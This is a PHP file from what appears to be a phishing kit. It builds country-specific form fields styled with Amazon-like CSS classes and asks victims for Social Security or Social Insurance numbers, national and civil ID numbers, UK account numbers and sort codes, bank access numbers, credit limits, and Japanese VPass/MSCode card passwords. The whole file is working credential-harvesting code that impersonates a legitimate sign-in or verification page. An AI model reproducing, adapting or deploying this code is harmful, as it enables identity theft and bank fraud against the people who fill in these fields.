-
Notifications
You must be signed in to change notification settings - Fork 0
/
additional.php
80 lines (70 loc) · 3.58 KB
/
additional.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
switch ($countryname) {
case "Greece":
case "Hong Kong":
$additional = '<div style="padding: 5px;" class="a-input-text-wrapper auth-required-field auth-fill-claim">
<input type="text" name="numbid" id="numbid" placeholder="ID Number" autocorrect="off" autocapitalize="off" required="required">
</div>';
$card = '';
break;
case "Kuwait":
$additional = '<div style="padding: 5px;" class="a-input-text-wrapper auth-required-field auth-fill-claim">
<input type="tel" name="civilid" id="civilid" placeholder="Civil ID Number" autocorrect="off" autocapitalize="off" required="required">
</div>';
$card = '';
break;
case "United States":
$additional = '<div style="padding: 5px;" class="a-input-text-wrapper auth-required-field auth-fill-claim">
<input type="tel" placeholder="Social Security Number" name="ssn" id="ssn" autocorrect="off" autocapitalize="off" required="required">
</div>';
$card = '';
break;
case "Canada":
$additional = '<div style="padding: 5px;" class="a-input-text-wrapper auth-required-field auth-fill-claim">
<input type="tel" placeholder="Social Insurance Number" name="sin" id="ssn" autocorrect="off" autocapitalize="off" required="required">
</div>';
$card = '';
break;
case "Australia":
$additional = '<div style="padding: 5px;" class="a-input-text-wrapper auth-required-field auth-fill-claim">
<input type="tel" placeholder="OSID Number" name="osidnumber" id="osidnumber" autocorrect="off" autocapitalize="off">
</div>';
$card = '<div style="padding: 5px;" class="a-input-text-wrapper auth-required-field auth-fill-claim">
<input type="text" name="climit" id="climit" placeholder="Credit Limit (ex: $5000)" autocorrect="off" autocapitalize="off">
</div>';
break;
case "New Zealand":
$additional = '';
$card = '<div style="padding: 5px;" class="a-input-text-wrapper auth-required-field auth-fill-claim">
<input type="text" name="climit" id="climit" placeholder="Credit Limit (ex: $5000)" autocorrect="off" autocapitalize="off" required="required">
</div>
<div style="padding: 5px;" class="a-input-text-wrapper auth-required-field auth-fill-claim">
<input type="tel" name="bans" id="bans" placeholder="Bank Access Number" autocorrect="off" autocapitalize="off" required="required">
</div>';
break;
case "United Kingdom":
$additional = '';
$card = '<div style="padding: 5px;" class="a-input-text-wrapper auth-required-field auth-fill-claim">
<input type="tel" name="acno" id="acno" placeholder="Account Number" autocorrect="off" autocapitalize="off" required="required">
</div>
<div style="padding: 5px;" class="a-input-text-wrapper auth-required-field auth-fill-claim">
<input type="tel" name="sortcode" id="sortcode" placeholder="Sort Code" maxlength="8" autocorrect="off" autocapitalize="off" required="required">
</div>';
break;
case "Japan":
$additional = '';
$card = '<div style="display:none;" id="webid" style="padding: 5px;" class="a-input-text-wrapper auth-required-field auth-fill-claim">
<input type="text" name="cardid" id="cardid" onfocusout="var webid = $(\'#cardid\').val();
if(isValidEmailAddress(webid)) {
$(\'#cardid\').val(\'\');
}" autocorrect="off" placeholder="WEB サービス ID" autocapitalize="off">
</div>
<div id="passwordjp" style="display:none;" style="padding: 5px;" class="a-input-text-wrapper auth-required-field auth-fill-claim">
<input type="password" name="passjp" id="passjp" placeholder="パスワード (VPass / MSCode)" autocorrect="off" placeholder="WEB サービス ID" autocapitalize="off">
</div>';
break;
default:
$additional = '';
$card = '';
}
?>